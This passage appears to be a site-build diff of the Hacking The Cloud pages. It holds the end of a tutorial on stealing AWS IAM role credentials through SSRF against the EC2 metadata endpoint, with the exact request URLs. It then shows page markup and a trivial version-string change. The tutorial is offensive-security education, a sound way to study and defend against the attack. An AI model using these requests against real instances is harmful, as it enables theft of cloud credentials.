<p>If there is a valid role we can steal, we can make a request to <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>. This will return the name of the IAM role associated with the credentials. In the example below we see that the role name is 'ec2-default-ssm'.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/ec2-metadata-ssrf/role-name.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Role Name" loading=lazy src=../../../images/aws/exploitation/ec2-metadata-ssrf/role-name.png></a></p> </figure> <p>To retrieve the credentials, we can append the role name to the previous query. For example, with the role name shown previously, the query would be <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/</code>.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/ec2-metadata-ssrf/stolen-keys.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Stolen Keys" loading=lazy src=../../../images/aws/exploitation/ec2-metadata-ssrf/stolen-keys.png></a></p> </figure> <p>These credentials can then be used in the AWS CLI to make calls to the API. To learn more about using stolen IAM credentials, check out this comprehensive <a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >guide</a>.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>An adversary who has gained code execution on the EC2 instance can retrieve credentials from the IMDS regardless of the version being used. Therefore, it is important to continually monitor your environment for suspicious activities.</p> </div> <h2 id=additional-resources>Additional Resources<a class=headerlink href=#additional-resources title="Permanent link">&para;</a></h2> <p>For an example of this technique being used in the wild along with additional information, please see Kevin Fang's excellent <a href="https://www.youtube.com/watch?v=r7HV4s-4ksQ">video</a> on the 2019 Capital One breach.</p> <p><center><iframe width=560 height=315 src=https://www.youtube.com/embed/r7HV4s-4ksQ title="YouTube video player" frameborder=0 allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe></center></p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 1, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> <a href=https://github.com/gabe-sky class=md-author title=@gabe-sky> <img src="https://avatars.githubusercontent.com/u/1197727?v=4&size=72" alt=gabe-sky> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/aws/exploitation/iam_privilege_escalation/index.html b/aws/exploitation/iam_privilege_escalation/index.html
index 4803fc38b..d697c8a23 100644
--- a/aws/exploitation/iam_privilege_escalation/index.html
+++ b/aws/exploitation/iam_privilege_escalation/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Common techniques that can be leveraged to escalate privileges in an AWS account."><link href=https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ rel=canonical><link href=../ec2-metadata-ssrf/ rel=prev><link href=../lambda-steal-iam-credentials/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>AWS IAM Privilege Escalation Techniques - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="AWS IAM Privilege Escalation Techniques - Hacking The Cloud"><meta property=og:description content="Common techniques that can be leveraged to escalate privileges in an AWS account."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="AWS IAM Privilege Escalation Techniques - Hacking The Cloud"><meta property=twitter:description content="Common techniques that can be leveraged to escalate privileges in an AWS account."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Common techniques that can be leveraged to escalate privileges in an AWS account."><link href=https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ rel=canonical><link href=../ec2-metadata-ssrf/ rel=prev><link href=../lambda-steal-iam-credentials/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>AWS IAM Privilege Escalation Techniques - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="AWS IAM Privilege Escalation Techniques - Hacking The Cloud"><meta property=og:description content="Common techniques that can be leveraged to escalate privileges in an AWS account."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="AWS IAM Privilege Escalation Techniques - Hacking The Cloud"><meta property=twitter:description content="Common techniques that can be leveraged to escalate privileges in an AWS account."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#codestarcreateproject-codestarassociateteammember class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a 